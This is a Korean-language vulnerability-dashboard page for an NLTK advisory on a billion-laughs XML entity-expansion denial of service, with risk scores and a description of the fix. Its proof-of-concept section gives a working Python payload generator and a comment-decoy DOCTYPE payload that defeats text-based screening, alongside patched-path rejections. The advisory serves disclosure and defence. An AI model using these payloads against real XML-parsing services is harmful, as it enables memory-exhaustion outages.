Kestrel
대시보드로 돌아가기
CVE-2026-78681HIGHMITRENVDGHSA대응게시일: 2026. 08. 25.수정일: 2026. 09. 08.

NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses

XXE

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS
0.3%상위 78.2%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.

Affected call sites (<= 3.10.2):

  • nltk.chunk.named_entity.load_ace_file — parses ACE annotation XML
  • nltk.internals.ElementWrapper — converts any given string to an Element
  • nltk.downloaderPackage.fromxml, Collection.fromxml, _find_collections, _find_packages

libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.

This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.


Attack demonstration

Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.

1. The amplification (vulnerable path: raw xml.etree.ElementTree)

A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:

levelsinput bytesexpanded bytesfactor
321810,000x45
4274100,000x364
53301,000,000x3,030
6386(libexpat 2.7.1 cap trips)-

The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.

python
1import xml.etree.ElementTree as ET
2def bomb(levels):
3 d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
4 return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
5ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars

2. The patched entry point rejects it

text
1>>> from nltk.internals import ElementWrapper
2>>> ElementWrapper(bomb(5))
3EntitiesForbidden: EntitiesForbidden(name='e0', ...)

3. Why a text-based screen is not enough

An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:

text
1evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
text
1raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
2nltk.xmlsec -> REJECTED (EntitiesForbidden)

An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.

4. Both back ends block it

nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:

text
1stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden)
2stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden)

Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.